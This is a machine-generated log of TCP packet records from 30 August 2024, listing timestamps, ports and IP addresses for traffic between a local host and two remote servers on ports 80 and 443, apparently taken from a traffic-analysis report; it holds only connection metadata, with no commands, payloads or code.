Aug 30, 2024 06:17:05.261282921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261312962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261374950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261384964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261394024 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261403084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261416912 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261425972 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261435032 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261436939 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261445045 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261450052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261467934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261492014 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261585951 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261624098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261646986 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261655092 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261677980 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261689901 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261698008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261708975 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261717081 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261727095 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261740923 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261765957 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261795044 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261805058 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261814117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261821985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261848927 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261857986 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261905909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261917114 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261924982 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261943102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261949062 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261954069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261962891 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.261964083 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.261990070 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262005091 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262017965 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262027025 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262034893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262064934 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262085915 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262149096 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262157917 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262166977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262176037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262186050 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262190104 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262195110 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262204885 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262222052 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262237072 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262244940 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262280941 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262315035 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262326002 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262334108 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262342930 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262357950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262367010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262371063 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262376070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262386084 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262394905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262407064 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262432098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262536049 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262546062 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262556076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262577057 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262586117 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262594938 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262620926 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262695074 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262738943 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262795925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262804985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262819052 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262829065 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262835979 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262840033 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262846947 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262862921 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262886047 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.262901068 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262919903 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.262959957 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.263048887 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263093948 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.263119936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263129950 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263156891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.263186932 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263196945 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263206005 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263228893 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.263252974 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.263698101 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263708115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263745070 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263753891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.263772964 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263773918 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.263782978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263812065 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.263825893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263834953 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263844013 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263854980 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263864040 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.263864994 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.263885975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.263895035 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287558079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287573099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287583113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287591934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287601948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287611008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287617922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287621021 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287628889 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287630081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287641048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287650108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287657022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287658930 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287663937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287695885 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287697077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287719965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287734985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287744045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287753105 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287763119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287770033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287771940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287781954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287787914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287791967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287798882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287805080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287816048 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287822962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287822962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287826061 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287834883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287843943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287844896 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287852049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287868023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287882090 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287884951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287894964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287899017 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287899017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287906885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287910938 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287914991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287925005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287929058 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287934065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287942886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287951946 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287961006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287966013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287966013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287970066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287980080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287986994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287986994 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.287988901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.287998915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288007975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288017988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288022995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288033009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288042068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288043022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288042068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288053036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288063049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288072109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288075924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288080931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288090944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288100958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288105965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288105965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288110971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288120985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288130045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288134098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288134098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288140059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288155079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288158894 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288170099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288178921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288187981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288192987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288193941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288197041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288206100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288216114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288224936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288232088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288232088 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288233995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288243055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288250923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288254023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288264036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288273096 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288280964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288281918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288290024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288306952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288311958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288311958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288316011 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288324118 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288326025 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288335085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288346052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288347960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288353920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288363934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288366079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288393021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288393021 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288419962 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288510084 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288520098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288527966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288536072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288544893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288554907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288559914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288559914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288564920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288573980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288583994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288595915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288599014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288608074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288609028 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288625956 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288650990 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288651943 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288661957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288670063 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288680077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288690090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288698912 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288702965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288702965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288708925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288717985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288727999 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288734913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288737059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288750887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288759947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288763046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288763046 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288772106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.288808107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.288808107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.289206982 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289216995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289226055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289237022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289261103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.289278984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.289354086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289364100 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289372921 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289385080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289395094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289397001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.289412975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.289434910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.289546967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289556026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289563894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289582968 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.289599895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.289721966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289732933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:05.289814949 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:05.334321976 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.334337950 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.334393978 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.334408045 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.334445953 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.334857941 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.334872961 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.334912062 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.334918976 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.334935904 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.334956884 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.335381985 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.335397959 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.335438013 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.335443974 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.335479021 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.335766077 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.335778952 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.335813999 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.335819960 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.335841894 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.335856915 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.336323977 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.336337090 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.336371899 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.336378098 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.336400986 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.336419106 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.336776018 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.336791992 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.336826086 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.336833000 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.336858034 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.336877108 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:05.337399960 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.337415934 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:05.337471008 CEST	49741	443	192.168.2.4	162.159.130.233
